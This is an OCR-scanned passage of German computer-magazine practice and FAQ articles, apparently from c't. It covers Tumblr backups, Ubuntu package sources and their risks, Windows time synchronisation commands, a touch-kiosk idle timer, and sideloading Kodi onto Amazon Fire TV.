eine Sicherheitskopie an legen. Wie geht das 
am einfachsten? 

D Wei l  Tumblr  über keine Backup-Funktion 
verfügt, ist e in  externer Dienst wie Re­

vert. io nötig. Dieser erste l l t  und speichert 
kostenlos eine Kopie a l le r  Blageinträge samt 
Fotos, Videos und Aud iodateien. 

Die E in richtung ist schne l l  er ledigt :  Man 
muss nach der Anme ldung nur die URL zu 
seinem Blog angeben und dem Service die 
Verbi ndung zu Tumb l r  er la uben .  Anschl ie­
ßend kopiert Revert die E i nträge über e ine 
TLS-gesicherte Verb indung auf se ine Server. 
Der Dienst prüft täg l ich, ob neue Einträge bei 
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Sicher ist sicher: Revert kopiert und speichert Tumblr-Biogs. Für  das 
tagesaktuel le Backup stehen 60 GByte kostenlos zur Verfügung.  

Tumb l r  vor l iegen und kopiert s ie .  So erhä l t  
man eine tagesaktue l le Kopie seines Tumblr­
B iogs samt Vers ionsver lauf und Suchfunk­
t ion. Die I nha lte lassen s ich auch herunter­
laden. (dbe@ct.de) 

c't Tumbi r-Backup mit Revert: ct.de/yre3 

Bildarchiv neu nach 

Erstel lungsdatum strukturieren 

l:il Es g ibt zah l reiche Tools zur Verwa ltung 
H und I ndexierung von vorhandenen Bi ld­
a rch iven auf PCs. Diese belassen im A l lge­
meinen d ie  Dateien i n  den Verzeichn issen, 
wo sie s ind, und bauen nur einen leistungs­
fähigen Index auf. Ich bin auf der Suche nach 
einem (Batch-)Skript oder Tool, mit dem man 
d ie Verzeichnisstrukturen fü r d ie Bi lda rch ive 
neu organ is ieren kann .  Ich hätte gerne e in 
nach Erste l l u ngsdatum in  Jah r  und Monat 
strukturiertes Archiv, in  das d ie vorhandenen 
Bi lder e ingeordnet werden sol len .  G ibt es so 
was? 

D Nahezu jede B i ldverwa l tung kann  so 
etwas. Zum Beispiel auch das Zoner 

Photo Stud io, das S ie i n  der Pro-Version 1 6  
auf DVD i n  c't 20/1 4 finden, oder Lightroom 
von Adobe. S ie müssen led ig l ich die B i lder 
importieren .  Dann  werden Sie gefragt, ob 
d iese am Speicherort verbleiben so l len oder 
ob das Prog ramm sie auf d ie Festplatte 
kopieren sol l .  Die meisten Prog ramme bieten 
automatisch eine nach Datum sortierte Ord-

nerstruktur an. Im Fa l l  des Zoner Photo Stu­
dio können Sie mit P latzha ltern eine Struktur 
aus Jahr, Monat, Tag und sogar Stunde, Mi­
nute und Sekunde fest legen. (akr@ct.de) 

Kein Bild mit 4K-Monitor 

und GeForce-G rafi kkarten 

l:il lch habe mi r  einen neuen Rechner sowie 
H einen Monitor mit U l tra-H O-Auflösung 
gegönnt. Wenn  ich d iesen per Disp layPort 
anschl ieße, wird der  B i ldsch i rm dunkel ,  so­
ba ld Windows gesta rtet wird. Über  HDMI  
lä uft a l les problemlos, dann habe i ch  jedoch 
nu r 30 Hz Wiederhol rate. 

D Bei Grafi kka rten vom Typ GeForce GTX 
970 und GTX 980 kann  es zu Verbin­

dungsproblemen mit DisplayPort 1 .2 und 4K­
Monitoren kommen. Nvidia hat dafü r einen 
Hotfix-Treiber zum Download bereitgeste l l t, 
der d iese behebt (siehe c't-Link) . l n  den regu­
lä ren GeForce-Treibern ist der Fehler derzeit 
noch nicht beseitigt. 

ln e in igen Fä l len reicht die I nsta l lat ion des 
Hotfix-Trei bers nicht aus, wenn  das Grafi k­
ka rten-BIO$ ä lter a l s  Vers ion 84.04.3 1 .00.00 
ist. Die B IOS-Version können Sie i n  der Nvidia 
Systemsteuerung unter Systeminformatio­
nen oder über das Diagnose-Tool GPU-z aus­
lesen. Haben Sie e ine Ka rte mit ä lterem BIOS, 
dann sol l ten Sie den Herste l ler  der Grafikka r­
te kontaktieren. (chh@ct.de) 

c't Hotfix zum Download: ct.de/y3nh 
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Praxis I FAQ 

Pa ketq uellen hi nzufügen 

til Zum I nsta l l ieren des Duck Launchers 
H unter Ubuntu muss ich eine Paketque l le 
h inzufügen. Wie gehe ich dabei vor? 

D Software insta l l ieren Sie unter Ubuntu in 
Form von Paketen mit e inem Paketma­

nager, der ähn l ich wie App- oder Play-Stores 
auf Mobi lgeräten zentra l Software anbietet. 
Als Quel le dienen dabei sogenannte Reposi­
tories oder Paketque l len .  Ubuntu ste l l t  e in i­
ge Standardpaketque l len bereit, d ie gut auf­
e inander abgestimmte Softwa re entha lten 
und von den Ubuntu-Machern mit Updates 
versorgt werden.  Auf zusätzl iche Softwa re­
Que l len sol lten Sie daher nu r  dann zurück­
g reifen, wenn ein Programm hier feh l t  oder 
auf einem zu a lten Stand ist. 

Software fü r Ubuntu können Sie auch in 
Form einze lner Pakete im I nternet herunter­
laden .  Der Haken dabei i st, dass d iese Pro­
g ramme nicht von der Paketverwa ltung ak­
tua l i siert werden können. Fügen Sie stattdes­
sen e ine Paketque l le  h i nzu und insta l l ieren 
e in dar in enthaltenes Paket, spie lt d ie  Soft­
wa re-Verwa ltung später auch Updates ein, 
soba ld  sie in  der Paketque l le  verfügba r  s ind. 

Um beispielsweise den a lternativen Duck 
Launeher i n  Ubuntu zu nutzen, t ippen Sie 
fo lgenden Befeh l  i n  e in Termina lfenster, um 
die passende Paketque l le h i nzuzufügen: 

sudo add-apt-repository ppa:the-duck!launcher 

Anschl ießend aktua l is ieren Sie d ie  Paket­
l i sten der  Softwa re-Verwa ltung mit dem 
Kommando sudo apt-get update und insta l l ieren 
den Duck Launeher mit: 

sudo apt-get instaU duck-launeher 

ln d iesem Fa l l l iefert d ie Paketque l le aber nu r  
Pakete fü r Ubuntu 1 4.04 (Trusty) und noch 
nicht fü r 1 4. 1 0 (Utopie) [ 1 ] .  

Risiko F remd-Software 

til Was kann  passieren, wenn man externe 
H Paketque l len wie d ie bei Launchpad l ie­
genden Persona l  Package Archives nutzt? 

D Theoretisch kann  e in einziges PPA das 
ganze L in ux-System kompromittieren. 

E inmal h inzugefügt, g reift d ie Software-Ver­
wa ltung auf d iese Quel le ebenso zu wie auf 
d ie geprüften Standa rd-Repositories. Unter 
Umständen bringt auch erst e in Update un­
erwünschte Softwa re mit .  Di rekt oder ind i ­
rekt aus e inem PPA insta l l ierte Pakete könn­
ten Software e in richten, d ie mit Root-Rech-
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ten läuft. Damit l ießen s ich dann  sensi b le 
Daten abgreifen oder das System fü r krimi­
ne l le Zwecke nutzen. Die Gefahr  d roht auch 
bei ver läss l ichen Paketquel len, wenn sich je­
mand dazu unbefugten Zugang verschafft 
hat. Bis lang s ind uns a l l erd ings weder Angrif­
fe über manipu l ierte Pakete in den Standa rd­
Repositories noch über zusätz l iche externe 
Paketque l len bekannt. 

Gefah r  kann auch von unerwarteter Seite 
d rohen :  Die I n sta l lat ion eines Pakets kann  
unbemerkt e ine  externe Paketque l le  ei ntra­
gen. Erwünscht ist das beispielsweise im Fa l l  
der Spie le-P lattform Steam:  Die I nsta l lat ion 
des Pakets steam_latest.deb von der Steam­
Website sorgt dafü r, dass das Steam-Reposi­
tory i n  die Paketque l len aufgenommen wird. 

Durchaus e inmal  vorkommen kann, dass 
externe Repositories Prog rammpakete aus  
den Standard-Paketque l len übersch reiben. 
Das ist manchmal erforderl ich, weil beispiels­
weise Anwendungen neuere Versionen von 
Bib l iotheken benötigen. Al lerdings birgt das 
die Gefah r, dass das System inkons istent 
wi rd und andere Anwendungen nicht mehr 
laufen. 

Down loads ü berprüfen 

til Wie kann ich vor der I nsta l lation heraus­
H finden, was ich da herunter lade? 

D Nach dem H inzufügen einer externen Pa­
ketquel le lohnt es sich nachzusehen, wel­

che Pakete d iese aus l iefert. Dazu eignet sich 
beispie lsweise der g rafische Paketmanager 
Synaptic, der sich über das Software-Center 
i nsta l l ieren lässt. Nach einem Klick auf d ie 
Scha ltfläche "Ursprung" l inks unten zeigt Sy­
naptic d ie  e ingetragenen Paketque l len an .  

-

E in Kl ick darauf l i stet rechts im Fenster d ie 
dar in enthaltenen Pakete auf. Achten Sie da­
rauf, dass keine systemrelevanten Kompo­
nenten durch Software aus Fremdquel len er­
setzt werden. Sind hier beispielsweise andere 
Vers ionen der Desktop-Komponenten von 
KDE oder Gnome entha lten, kann das schnel l  
zu Vers ionskonfl i kten führen. Bei PPAs, d ie 
nur  e in einzelnes oder wenige Pakete enthal­
ten, ist d iese Gefahr  dagegen gering. 

Pa ketq uellen werden 

a utomatisch deaktiviert 

til Beim Upgrade auf e ine neuere Ubuntu­
H Version wurden ein ige Paketque l len de­
aktiviert. Warum ist das so? 

D Bevor d ie Aktua l is ierungsverwa ltung das 
Upg rade auf d ie nächsthöhere Ubuntu­

Version einspie lt, deaktiviert sie automatisch 
a l l e  Paketque l len, die nachträg l ich h inzu­
gefügt wurden. Das stel l t  s icher, dass beim 
Upgrade nur offizie l l e  Softwa re e ingespie lt 
wi rd, deren Versionen zusammenpassen. 

Die deaktivierten Paketquel len können Sie 
nach dem Upgrade zwa r wieder aktivieren, 
müssen d iese aber i n  der Regel bea rbeiten. 
Meist reicht es, den Spitznamen der Ubuntu­
Version anzupassen, a lso beispielsweise von 
"trusty" (Ubuntu 1 4.04) auf "utopic" (Ubuntu 
1 4. 1 0). Tauchen dann zum Beispiel in Synaptic 
keine Pakete auf, fehlt die Software für die ver­
wendete Distributionsversion. ( lmd@ct.de) 

Literatu r  

[ 1 )  L iane M. Dubowy, Schöner, sc h n e l ler, besser, 
U n ity-Desktop u m bauen u n d  versc hönern,  
c 't  20/1 4, 5. 1 75 
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Praxis I Windows-Zeitsynchronisation 

Ernst Ahlers 

Windows immer pünktl ich 
Automatische Zeitsyn c h ronisation a ktivieren 

Normalerweise sorgt Windows bei vorhandenem Internetzugang von selbst 
dafü r, dass die Systemuhr  richtig geht. Manche PCs zeigen aber dennoch eine 
fa lsche Uh rzeit an .  Das lässt sich m it wenigen Handg riffen beheben. 

B eim Sta rt holt sich Windows d ie Zeit aus 
der Ha rdware-Uhr  des Chipsatzes. Diese 

wird normalerweise beim E in richten eines 
neuen PC einmal ig geste l lt . S ie d riftet aber 
wie a l l e  Uh ren nach und nach von der wah­
ren Zeit weg. Das geht umso schne l ler, je 
schwächer d ie Onboard-Batterie wird, d ie die 
Uh r  bei ausgescha ltetem Rechner versorgt. 

Wenn I h r  PC nach dem Einschalten ha rt­
näckig eine fa lsche Zeit anzeigt, ersetzen Sie 
prophylaktisch d ie Onboa rd-Batterie auf 
dem Ma inboard. Leider läuft d ie  Ch ipsatz­
Uh r auch mit einer frischen Batterie langsam 
von der wahren Zeit weg . Desha l b  synchro­
nis iert ein nicht zu einer Domäne gehören­
des Windows seine Systemzeit rege lmäßig 
gegen Zeitque l len aus  dem I nternet. Be i  
manchen I n sta l lat ionen läuft aber der zu­
ständige Systemdienst n icht automatisch an .  
E in paar  Handgriffe korrigieren das. 

Ste l len Sie dazu bei I h rem PC in  den loka­
len Diensten (Suche nach .,d ienste") den 
.,Windows-Zeitgeber" beim Sta rttyp auf .,Au­
tomatisch". 

Time Check 

Nun synchronisiert Windows in  der Werksein­
ste l l ung typischerweise nur e inmal  pro 
Woche, sodass die Zeit bei einem länger lau­
fenden Rechner dennoch langsam abdriftet. 
Das bessern Sie mit ein paa r Befehlen in einer 
Kommandozei le mit Admin-Rechten aus 
(Suche .,cmd", Rechtskl ick auf Eingabeauffor­
derung, .,Als Adminin istrator ausführen"): 

net stop w32time 
reg add HKLM\SYSTEM\CurrentControlSet\Services7 

\W32Time\Config /v MaxPosPhaseCorrection 7 
/t REG_DWORD /d Oxffffffff /f 

reg add HKLM\SYSTEM\CurrentControlSet\Services7 
\W32Time\Config /v MaxNegPhaseCorrection 7 

/t REG_DWORD /d Oxffffffff /f 
reg add HKLM\SYSTEM\CurrentControlSet\Services7 

Statische Routi n gta b e l l e  

\W32Time\TimeProviders\NtpClient 1 
/v SpecialPolllnterval /t REG_DWORD /d 1 0800 /f 

net start w32time 
w32tm /config /update /manualpeerlist:"ntpl .t-online-7 

de,Ox9 ntp.web.de,Ox9 ntpl .freenet.de,Ox9" 7 
/syncfromflags:MANUAL 

w 32tm /resync /nowait 

Die ersten be iden reg-add-Befeh le  setzen 
die er la u bte Abweichung  a uf e inen sehr  
hohen Wert, dami t  d ie  Uhr  be im System­
start  auch bei g roben Abweichungen ge­
ste l l t  wird. Windows verweigert näml ich das 
Nachste l l en der  Systemuhr, wenn  s ich i h re 
Zeit zu sehr von der wahren unterscheidet. 

Das d ritte reg-add-Kommando setzt das 
Synchronisat ionsinterva l l  auf 3 Stunden 
(1  0 800 Sekunden) .  Damit  sol lte d ie Abwei­
chung dauerhaft unter e iner Sekunde ble i­
ben, so lange e in I nternetzugang besteht. 
Dann  stimmen die Systemprotoko l l e  ver­
schiedener Rechner h inreichend gut überein, 
wenn man etwa zeitabhängigen Problemen 
im Netz auf d ie Spur kommen wi l l .  

De r  erste w32tm-Befeh l  trägt d rei hiesige 
Zeitserver als Synchronisationsque l l en  ein, 
weil der einzige standardmäßig eingetrage­
ne Server time.windows.com gelegent l ich uner­
reichbar ist. Das letzte Kommando weist den 
Systemdienst sch l ieß l ich an, sofort zu syn­
chronis ieren. A l l es zusammen fi nden Sie in 
einer Batchdatei (siehe c't-L ink am Ende). 

Zeitq uel len 

Wenn  Sie keinen der angegebenen Server, 
sondern l ieber einen I h res Providers oder an­
dere öffentl iche Quel len verwenden wol len, 
nehmen Sie welche aus der nebenstehenden 
Tabel le .  Weitere öffent l iche NTP-Server fi n­
den Sie über den c't-Li nk. 

Nehmen Sie nu r  solche Server, bei denen 
a l lgemeiner Zugriff (Open Access) gestattet 
ist. E ine eventuel l  erwünschte l nfo-Ma i l  so l l -

H i e r  k ö n n e n  S i e  d i e  stat i s c h e  Rout ing-Ta b e l l e  d e r  FR JTZ! B o x  ä n d e rn .  

Manche Router, wie 
neuere Fritzboxen, 

können intern a ls  
Zeitquel le dienen. 

Zeitsynchronisatio n  

D i e  F R ITZ! B o x  synchron i s i e rt ihre U h rz e it mit  d e m  a n g e g e b e n e n  Zeits erver im Internet 

Zeit s e rver: lntp1 .t-on l i n e . de ;  ntp3.fa u . d e ;  1l 
Aktivi eren Sie die nachfo l g e n d e  O p t i o n .  wenn die F R ITZ! B o x  im He imnetz  als Zeits erver verwendet werde n  s o l l .  

� F R ITZ!B o x  a l s  Zeitserver im H e i m n e t z  b e re itst e l l e n  Die Server-Funktion 
muss man aber erst 

aktivieren. 
Weitere 1 Pv6-Router i m  H e i m n etzwerk 
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E igenschaften von Windows-Zeitgeber (lokaler Co� 

.Anzeigename: Windews-Zeitgeber 

Beschreibung: Behält Datums- und Zeilsynch10nisation auf allen ;.. 
Clients und S ervern im Netzwerk bei. Wird dieser 

Pfad zur EXE·D alei: 

C:\WINDOWS \system32\svchosl.e)(e ·k LocaiService 

S!aUyp: M anuell 

Automatisch erzö erter S tart 

Manuell 

Dienststatus 
Deaktivierl 

I Starten Bs;enden Anhalten Earlsetzen 

Sie können die Startparameter angeben, die übernommen werden sollen, 
wenn der Dienst von hier aus gestartet wifd. 

Stadp.arameter: 

DCJ [iObbrechen 1 U.!;!ernehmen 

Bei manchen Windows-8-l nsta l lationen 
läuft der fü r die Zeitsynchronisation 
zuständige Dienst W32Time (Windows­
Zeitgeber) nicht automatisch an .  Stel len 
Sie ihn  auf den Sta rttyp "Automatisch" um. 

Ausgewäh lte NTP-Server 
Setreiber Adressen 

DeutS(he Telekom ntpl .t-onl ine.de 
EWETel ntpO.ewetel.de, ntp l .ewetel.de 

Freenet 
Hetzner 
Hosteurope 
M-Net 

ntpO.freenet.de, ntp l .freenet.de 
ntp.hetzner.de 1 

OVH 
Sipgate 

ntp.hosteurope.de 1 
ntp1 .m-online.net, ntp2.m-online.net 
ntp.ovh.net 
ntp.sipgate.net1 

Telefonica date.mediaways.net, cron.mediaways.net 

TU Berlin ntps1 -0.cs.tu-berl in.de, ntps1-1 .cs.tu-berl in.de 
Uni Erlangen- ntpO.fau.de, ntpl .fau.de, ntp2.fau.de, 
Nümberg ntp3.fau.de 
Web.de ntp.web.de 

1 DNS-Round-Robin über mehrere Server 

ten Sie dem Setreiber n icht verweigern .  
Wäh len Sie Server, d ie  I hnen geog rafisch 
nahe l iegen. NTP-Server von Providern, 
(Fach-)Hochschu len oder Un iversitäten s ind 
gute Que l len, wei l s ich dort e in Admin um 
zuverlässigen Betrieb kümmert. 

Bei den Servern des NTP-Pooi-Projekts 
haben wir wiederholt festgeste l l t, dass e in­
ze lne  Systeme nicht antworten .  Wenn Sie 
das Pool-Projekt nutzen wol len, tragen Sie 
de.pool.ntp.org dreimal  a l s  Quel le ein, damit auf 
jeden Fa l l  mindestens e in funktionierender 
Server dabei ist. 

LAN-Zeit 

Fal ls Ihr Router selbst a l s  NTP-Server a rbeiten 
kann, wie beispielsweise neuere Fritzboxen, 
tragen Sie dessen i nternen DNS-Namen a l s  
Zeitserver e in ,  etwa fritz.box. Natür l ich sol lten 
S ie dann im Router s icherste l len, dass er 
sel bst gegen gut verfügba re NTP-Server syn­
chronisiert. 

Dazu ste l l en S ie in der Fr i tzbox unter 
.,Heimnetz/Netzwerk/Netzwerkeinstel l ungen" 
d rei Servernamen du rch Semiko lons ge­
trennt e in  (s iehe Bi ld) und setzen das Häk­
chen bei ., F ritz! Box a l s  Zeitserver im He im­
netz bereitstel len". (ea@ct.de) 

c't Batchdatei und NTP-Server: ct.de/yr2u 
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Hajo Sch u lz 

Anzeigeinstrument 
Wi ndows-Touch-Gerät a l s  S u  rf-Station 

Ein ha lböffentl ich aufgestel lter Touch-PC so l l  in  Leerlaufzeiten e ine  
bestim mte Webseite anzeigen .  Was auf den ersten B l ick nach e iner 
s implen Aufgabe aussieht, erweist sich bei  näherer Betrachtu ng 
a ls  gar  nicht mal  so einfach. Mit e inem kleinen, selbstentwickelten 
Tool fun ktioniert es dann aber doch. 

E igent l ich härte s ich die Aufgabe ganz 
bana l  an :  l n  der Redaktions-Cafeteria so l l  

e in PC mit Touchscreen aufgeste l l t  werden, 
den die Kol legen in  Kaffeepausen dazu nut­
zen können, ma l  eben etwas im I nternet 
nachzuschlagen. Wenn der Rechner eine Zeit 
lang nicht benutzt wird, sol l er e ine Redak­
tions-interne Webseite anzeigen und regel­
mäßig aktua l is ieren. 

Bei näherem H insehen ste l lte s ich d iese 
Aufgabe a l lerdings als nicht gerade trivia l  he­
raus .  Zum Beispie l  beherrschen zwa r a l l e  
gängigen Browser einen sogenannten Kiosk­
Modus, in dem s ie i h ren I nha l t  wie ge­
wünscht bi ldschi rmfü l lend anzeigen. Jedoch 
verhalten s ie sich i n  dieser Betriebsa rt immer 
noch wie e ine Desktop-Anwendung, s ind 
a l so auf e ine Touch-Bed ienung mehr 
schlecht a l s  recht eingeste l l t .  Ma l  eben einen 
Kommenta r e inzut ippen funkt ioniert ohne 
Tastatur gar n icht, wei l der Vol l bi ld-Browser 
den Zugriff a uf d ie B i ldschi rmtastatur i n  der 
Taskleiste verwehrt. Der zu verwendende 
Browser so l lte a l so auf jeden Fa l l  e ine App 
sein, d ie  im Touch-Modus von Windows 8 
läuft. Das beherrschen derzeit zwei Vertreter: 
der I nternet Explo rer und  Goog le Chrome. 
Der Umgang von Chrome mit der  B i ld­
schi rmtastatur ist aber auch im Touch-Modus 
gewöhnungsbedürftig, sodass der Microsoft­
Browser a l s  einziger ernsthaft verwendbarer 
Kandidat übr igble ibt 

über  den "Ausfüh ren"-Dia log e inwandfrei 
funktioniert. Die Idee, die URL in  das Parame­
ter-Feld einzutragen und a l s  Programm den 
I nternet Explorer, scheitert daran, dass man 
auf d iese Weise woh l  d ie  Desktop-Version 
des Browsers gesta rtet bekommt, aber nicht 
d ie Touch-Va riante. 

Basteistunde 

Nach d iesen Ü ber legungen wa r kla r, dass 
das Projekt ganz ohne Prog rammiera rbeiten 
wohl nicht zu stemmen sein wü rde. Heraus­
gekommen ist dabei das Tool c't l d le  Timer 
- Download samt Que l l text s iehe c't-Li nk  am 
Ende d ieses Art ike ls .  Die WPF-Anwendung 
macht s i ch  im Kern d ie Win32-Funktion Get­
Lastlnputlnfo() zunutze: Diese l iefert d ie  Anzah l  
der M i l l isekunden, d ie  vergangen s ind, seit 
der Benutzer zu letzt mit Maus, Tastatur oder 
Touch hantiert hat. Die Auflösung d ieser An­
gabe beträgt typischerweise 1 0  bis 1 6  M i l l i ­
sekunden, aber das reicht fü r den vorgese­
henen E i nsatzzweck dicke aus. c't ld le  Timer 
fragt d ie Zeit ohnehin nur einmal pro Sekun­
de ab.  

l n  zwei E ingabefelder lässt s ich eintragen, 
wie vie le Sekunden ohne E ingabe das Pro­
g ramm verstreichen lassen und was es dann 
tun so l l .  Be i  Letzterem ist  das Tool recht fle­
xibel : Sie können hier ein Programm samt zu­
gehör iger Argu mente genauso ei ntragen 
wie e ine URL oder den kompletten Namen 
einer Datei, d ie dann mit dem dafü r  vorgese­
henen Standardprog ramm geöffnet wird.  
Wenn  der Pfad e iner Datei oder e ines Pro­
g ramms Leerzeichen enthä lt, gehört er in 
Anführungszeichen eingesch lossen. 

c 't I die Tim er 

Ei nstel l u ngen 

Praxis I Surf-Kiosk 

Den gewünschten Aufruf vol lz ieht c't I d ie  
Timer n icht nu r  e inma l ,  sondern  jewei l s  
nach Ablauf der Wa rtezeit erneut .  Ab dem 
zweiten Mal  schl ießt es dabei zuvor das Pro­
g ramm, das es beim l etzten Du rch l auf ge­
sta rtet hat. Für den angepei lten Zweck, eine 
Webseite rege lmäß ig neu zu laden, ist das 
d ie un iverse l l ste Lösung :  Ruft man näml ich 
den I nternet Explorer mit der URL der Seite 
auf, die er gerade anzeigt, lädt er s ie n icht 
neu, sondern schiebt s ich a l l enfa l l s  i n  den 
Vorderg rund .  E ine spezie l l  auf Browser aus­
gerichtete Lösung, die etwa einen Druck auf 
d ie F5-Taste s imu l iert, hätte e ine Einschrän­
ku ng des Too ls  auf genau d iesen Anwen­
dungszweck bedeutet. 

E i n richtung 

Damit  Windows be im Aufruf e iner  URL den 
Touch- I nternet-Explo rer sta rtet, s ind zwei 
systemweite E inste l l ungen nöt ig :  Zum einen 
muss der I E  a l s  Standa rd-Browser eingerich­
tet sein .  Das erledigt das Fenster "Standard­
prog ramme fest legen" aus der Abtei l ung  
"Prog ramme" der Systemsteuerung .  Man 
kl ickt dazu i n  der  l i nken Liste zunächst auf 
den E intrag " , nternet Exp lorer" und dann 
rechts auf "Standards fü r d ieses Programm 
auswäh len". l n  de r  erscheinenden Liste müs­
sen mindestens d ie E i nträge "HTIP" und  
"HTIPS" ein Häkchen tragen. 

Dass der Microsoft-Browser nicht auf dem 
Desktop, sondern mit der Touch-Oberfläche 
erscheint, bringt man ihm i n  den In ternet­
optionen bei. Die fi nden sich entweder auf 
der Se ite "Netzwerk und  In ternet" der Sys­
temsteuerung oder im "Extras"-Menü der 
Desktop-Variante des Browsers. Auf der Re­
gisterseite "Programme" ist oben in der Liste 
"Wäh len Sie aus, wie L inks geöffnet werden 
so l len" der  E intrag " ,mmer mit I nternet Ex­
plorer" auszuwäh len .  

Die h ier vorgestel lte Lösung i st  ausd rück­
l ich nicht dafü r  gedacht, a l s  Kiosksystem im 
öffentl ichen Raum zu d ienen. Sie taugt nu r  in  
Umgebungen, i n  denen der Betre iber den 
Menschen traut, d ie  physischen Zug riff auf 
den Rechner haben. Wenn es nu r  um die An­
ze ige e iner Webseite geht, braucht man 
a l lerd ings auch keinen Touchscreen - dann 
ste l l t  das Wegsperren von Maus und Tastatu r 
genug Sicherheit her. (hos@ct.de) 

C11: c't ld le  Timer: ct.de/ydnd 

Um ihn zu sta rten, wenn der Rechner un­
benutzt ist, b ietet s ich e igent l ich die Win­
dews-Aufgabenplanung an. Zu den mög­
l ichen Auslösern fü r eine automatisch gesta r­
tete Aktion gehört ja " ,m Leer lauf". Abgese­
hen davon, dass man sich damit  bei der  
Bestimmung der Wartezeit abhäng ig davon 
macht, wann Windows den Rechner fü r un­
berührt hä lt, sta rtet Windows den eingeste l l ­
ten Vorgang immer nur e in  Ma l .  Damit 
würde das automatische Aktua l is ieren der  
Webseite du rch den Rost fa l len .  

Der Benutzung der  Aufgabenp lanung 
steht noch ein anderes H indernis im Weg: A l s  
Aktion kann man h ie r  e in Skript oder  e in Pro­
g ramm eintragen, aber keine URL. Versucht 
man es trotzdem, bekommt man statt des 
Standard-Browsers d ie Frage angezeigt, wie 
denn d ieser L inktyp zu öffnen sei .  Die Ant­
wort merkt s ich Windows an  d ieser Ste l l e  
n icht, obwoh l  das Aufrufen e iner  URL etwa 

Immer nach � Seku n d en Leerla uf folge nde Date i/ U RUAnwendung aufnufen : 
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Llhtt_,p---':/'-/c_t. d_e 
______________ _jl l Durch suchen ... I 

I .S,peichern I 

( Nach ster Start i n  1 1 2  Sekunden.)  I Jetzt starten I 

Der c't ld le  Timer 
kann  nicht nur 
eine Webseite 
im Browser auf­
rufen, sondern 
bel iebige Pro­
gramme und 
Dateien öffnen.  
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Praxis I F i re TV & Stick erweitern 

Dr. Vol ker  Zota 

Nachbrenner fürs F ire TV 
F u n ktio n s u mfa n g  des A m azo n F i re TV & Stick erweitern 

Sowoh l  Amazons Streaming- und Spielebox a ls  auch der abgespeckte H DMI-Stick 
lassen sich m it Apps erweitern - auch am Amazon App Shop vorbei. Wir zeigen, 
welche Apps sich lohnen und wie man das schicke Kodi  Enterta in ment Center 
(ehemals XBMC) nachrüstet. 

F i re TV Stick (hierzu lande noch 
nicht erhä lt l ich)  und F i re TV 

s ind vorrangig auf On l i ne-Diens­
te ausgerichtet: neben Amazons 
eigenen Angeboten unter ande­
rem auf Netfl ix, Spotify und d i ­
verse Med iatheken.  Loka l  vor­
handene I n ha lte spie l t  das F i re 
TV von Haus jedoch weder über 
d ie rückseit ige USB-Buchse noch 
vom Smartphone, Tablet oder 
loka len Medienserver ab. E i nzig 
Besitzer von Kind le-F i re-Geräten 
können I nha lte über die Geräte 
auf den Fernseher "fl i ngen". Im  
eingebauten Amazon App  Shop 
finden sich immerhin zah l reiche 

Apps, die auch anderen Anwen­
dern weiterhelfen, beispielsweise 
P l ex, A l lCast sowie d iverse Air­
P iay/UPnP-Receiver. P lex setzt 
den g leichnamigen proprietä ren 
Streaming-Server voraus, A l lCast 
die zugehör ige And roid- oder 
iOS-App. Für iPhone/iPad-Besit­
zer dü rfte AirPiay die bequemere 
Wah l  sein, fü r Android das von 
vielen Programmen/Apps unter­
stützte UPnP  AV /DLNA-Strea­
ming .  Bei unseren Tests h inter­
l ieß der 2,1 6 Euro teure AirRecei­
ver den besten E indruck. Er un­
terstützt AirP iay und DLNA, l ief 
stab i le r  a l s  a l l e  anderen Apps 

und kann  zusätzl ich den Bi ld­
schirm von iOS-Geräten spiegeln 
(Ai rPiay Mi rrori ng) - wenn auch 
mit e iner ha lben Sekunde Ver­
satz. DRM-geschützte Inha lte las­
sen sich mit keiner App streamen. 

Noch kann  man aber mit kei­
ner d ieser Apps bequem vom 
Sofa aus im heimischen Medien­
netz stöbern. Hier springt das be­
l iebte Kodi Enterta inment Center 
(früher XBMC Media Center) in 
d ie Bresche. Es zapft über seine 
schicke Bedienoberfläche diverse 
Netzwerkque l len an - inkl usive 
DLNA und AirP iay, wenn auch 
ohne Bi ldschirmspiege lung -, 

beherrscht a l l e  gängigen Video­
und Audioformate und b indet 
über Add-ons weitere On l i ne­
Dienste ein .  Kod i  macht auf dem 
mit Quad-Core-CPU und fixem 
Grafikchip ausgestatteten F i re TV 
eine sehr gute F igur  und spielt in  
MPEG-2, MPEG-4, H .264 und 
VC - 1  /WMV kodierte Videodatei­
en mit bis zu 1 080p-Auflösung 
fl üss ig ab, dekodiert Su rround­
Formate oder  reicht sie an  einen 
AN-Receiver weiter und spie lt 
klag los  a l le gängigen Aud io­
formate mit bis zu 24 Bit/ 
1 92 kHz. Nu r  über e in ige HDTV­
Mitschnitte und B lu-ray-Struktu­
ren sto l pert es. 

Der deut l ich schwachbrüsti­
gere F i re TV Stick g ibt MPEG-2, 
MPEG-4 und H .264 und die Au­
d ioformate ebenfa l l s  wieder, 
n utzt bei VC -1 /WMV-Videos zu­
mindest derzeit keine Ha rdware­
Besch leun igung und zeigt daher 
nu r  SO-Auflösung fl üssig. 

Lokale  Medienzentra le  

Kad i fi nden Sie a l lerd ings  nicht 
im Amazon App Shop, sondern 
müssen das Android-Paket (.apk) 
über den L ink am Arti ke lende 
von der  Hornepage herunter­
Jaden. Doch keine Sorge: Anders 
a l s  etwa beim Apple TV be­
kommt man Kad i  mit wenigen 
Handgriffen auf das F i re TV. Al le 
fo lgenden Sch ritte lassen s ich 
1 : 1  auf den F i re TV Stick übertra­
gen, auch wenn nu r  das F i re TV 
erwähnt wird. 

G l ück l icherweise macht es 
Amazon den Anwendern le icht, 
Apps ü ber  e ine e igent l ich fü r 
Entwickler vorgesehene Option 
nachzu rüsten (Side loading) .  Ak­
tivieren Sie dazu in den E instel­
l u ngen des F i re TV unter System 
d ie  Entwickleroptionen "ADB­
Debugg ing" und "Apps unbe-

Um Apps am Amazon App Shop vorbei auf dem Fire TV insta l l ie­
ren zu können, schaltet man einfach die Entwickleroptionen an .  

Mit  wenigen Klicks lässt sich das  Kodi  Enterta inment 
Center nachrüsten. 
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kannter Herkunft". Nun  können 
S ie m itte l s  Andro id Debug 
Br idge (ADB) via Netzwerk auf  
das F i re TV zug reifen .  Dazu 
bra ucht man nicht das ganze 
Android-Entwicklerkit, sondern 
kann  auf das p lattformüber­
g reifende adbF i re fü r Windows, 
OS X und L inux zurückg reifen .  
Fü r  Windows g ibt es außerdem 
das Amazon F i reTV Ut i l ity, das 
e in paa r zusätzl iche Funktionen 
bietet, d ie  h ier n icht gebraucht 
werden. Android-Nutzer schl ieß­
l ich können das im Amazon App 
Shop fü r Andro id erhä l t l i che 
AGK F i re (AFTV Side Loader) nut­
zen, um außer  .apks auch auf  
dem Smartphone oder Tablet 
